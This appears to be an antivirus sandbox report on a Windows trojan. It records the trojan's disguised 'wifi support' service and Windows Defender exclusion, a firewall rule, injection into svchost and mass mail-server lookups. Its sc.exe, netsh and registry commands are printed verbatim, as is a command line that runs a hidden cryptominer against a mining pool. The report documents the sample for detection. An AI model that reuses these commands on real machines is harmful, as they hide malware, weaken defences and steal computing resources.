Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\cuhkmcuu] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\cuhkmcuu] 'ImagePath' = '%WINDIR%\SysWOW64\cuhkmcuu\qqrcxywe.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\cuhkmcuu] 'ImagePath' = '%WINDIR%\SysWOW64\cuhkmcuu\qqrcxywe.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\cuhkmcuu' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\qqrcxywe.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\qqrcxywe.exe to %WINDIR%\syswow64\cuhkmcuu\qqrcxywe.exe
Deletes itself.
Network activity
Connects to
- 'mx#######105.gslb.pphosted.com':25
- 'ALT2.ASPMX.L.GOOGLE.COM':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK as##nte.com
- DNS ASK mx#.##.iphmx.com
- DNS ASK av####supply.com
- DNS ASK ma#####.systemax.com
- DNS ASK ca###arley.com
- DNS ASK go###email.com
- DNS ASK vn##ansi.ca
- DNS ASK ba###levin.com
- DNS ASK mx###.in-mx.net
- DNS ASK ra##ler.ru
- DNS ASK in##.rambler.ru
- DNS ASK ca###attson.com
- DNS ASK bb##dt.com
- DNS ASK ma###.bbandt.com
- DNS ASK ci###orp.com
- DNS ASK ca###ros.cat
- DNS ASK mx##.#ail.citi.com
- DNS ASK mx.#########at.com.cust.a.hostedemail.com
- DNS ASK ad##########.mail.protection.outlook.com
- DNS ASK te###.com.br
- DNS ASK vi#####br-mx.terra.com
- DNS ASK an###son5.net
- DNS ASK ba#####da.anderson5.net
- DNS ASK 4s##.com
- DNS ASK mx#####.ppe-hosted.com
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK bo##ng.com
- DNS ASK ph######n-01.mbs.boeing.net
- DNS ASK pa###nes.com
- DNS ASK gi###-verlag.de
- DNS ASK li#e.de
- DNS ASK ca###ovr.com
- DNS ASK ad###rld.com
- DNS ASK al###amouat.com
- DNS ASK te####rlotte.org
- DNS ASK sn###ware.de
- DNS ASK ma##.#nakeware.de
- DNS ASK HI##########1B.MAIL.PROTECTION.OUTLOOK.com
- DNS ASK te##ra.com
- DNS ASK jd####hnologies.com
- DNS ASK je####niversity.com
- DNS ASK ju##ana.com
- DNS ASK ju#########.mail.protection.outlook.com
- DNS ASK ALT2.ASPMX.L.GOOGLE.COM
- DNS ASK ca####bulancias.com
- DNS ASK pr###com.com
- DNS ASK pr########om.mail.eo.outlook.com
- DNS ASK be##ine.com
- DNS ASK mx#######105.gslb.pphosted.com
- DNS ASK to##to.com
- DNS ASK mt##inc.net
- DNS ASK ub##x.com
- DNS ASK hi###rom.com
- DNS ASK 16#####.mxmail.netease.com
- DNS ASK 16#.com
- DNS ASK mx####.carrierzone.com
- DNS ASK ca####nadoor.com
- DNS ASK ca###########com.mail.protection.outlook.com
- DNS ASK ma###r.co.uk
- DNS ASK eh##.com
- DNS ASK us#######nbound-1.mimecast.com
- DNS ASK fi######ricansavings.com
- DNS ASK ma##.#ctransnet.com
- DNS ASK sm####.ooredoo.tn
- DNS ASK sp###.com.tn
- DNS ASK fx##l.com
- DNS ASK fx#######.#ail.protection.outlook.com
- DNS ASK so##.com
- DNS ASK lo###.gaijin.net
- DNS ASK so####1.sohu.com
- DNS ASK hi####yyarns.com
- DNS ASK bo##dog.com
- DNS ASK fo###rie.com
- DNS ASK te##re.com
- DNS ASK google.com
- DNS ASK na######.email.dupont.com
- DNS ASK ro####.fsnet.co.uk
- DNS ASK ya##o.co.uk
- DNS ASK ms##.hinet.net
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK na##.co.uk
- DNS ASK cl######.eu.messagelabs.com
- DNS ASK co##ast.net
- DNS ASK mx#.#omcast.net
- DNS ASK gr#.rs
- DNS ASK ma##.grf.rs
- DNS ASK si####bscribe.com
- DNS ASK gmr-smtp-in.l.google.com
- DNS ASK sa####urys.co.uk
- DNS ASK ao##s.com
- DNS ASK te#####.#om.mx1.arvig.rcimx.net
- DNS ASK ex####3.aoins.com
- DNS ASK te##tar.com
- DNS ASK na###nwide.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ho##ail.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK tf#.gov.uk
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK cu#######.in.mailcontrol.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK am###store.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK aspmx.l.google.com
- DNS ASK hk.####n.herominers.com
- DNS ASK ha##ail.net
- DNS ASK mx#.#anmail.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mx#.###638-63.iphmx.com
- DNS ASK si####orepro.com
- DNS ASK sm##.##cureserver.net
- DNS ASK at#.net.mx
- DNS ASK ms#.#inet.net
- DNS ASK ro####responder.com
- DNS ASK ch#######medicalcentre.com.au
- DNS ASK ma###.##althscope.com.au
- DNS ASK ro##lr2.com
- DNS ASK ya##o.com
- DNS ASK cd#####.lvs.dupont.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK mx#######d02.gslb.pphosted.com
- DNS ASK dr##.net
- DNS ASK d9#####.##s.barracudanetworks.com
- DNS ASK ch##ne.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK ro###tmail.com
- DNS ASK ho###il.co.uk
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ou#########.olc.protection.outlook.com
- DNS ASK ou##ook.com
- DNS ASK mx######b6701.pphosted.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK tm#####ertising.co.uk
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK vt.edu
- DNS ASK in####d.smtp.vt.edu
- DNS ASK si####ite.com.au
- DNS ASK ic###nsnet.com
- DNS ASK ya##o.co.id
- DNS ASK mx.###mexperts.com
- DNS ASK ma#####sgowmags.co.uk
- DNS ASK cl######.us.messagelabs.com
- DNS ASK bb#.co.uk
- DNS ASK ao#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK co##way.com
- DNS ASK fp##gt.com
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ma####rofessor.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cuhkmcuu\qqrcxywe.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\cuhkmcuu\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\qqrcxywe.exe" %WINDIR%\SysWOW64\cuhkmcuu\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create cuhkmcuu binPath= "%WINDIR%\SysWOW64\cuhkmcuu\qqrcxywe.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description cuhkmcuu "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start cuhkmcuu' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\cuhkmcuu\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\qqrcxywe.exe" %WINDIR%\SysWOW64\cuhkmcuu\
- '%WINDIR%\syswow64\sc.exe' create cuhkmcuu binPath= "%WINDIR%\SysWOW64\cuhkmcuu\qqrcxywe.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description cuhkmcuu "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start cuhkmcuu
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p 3 -k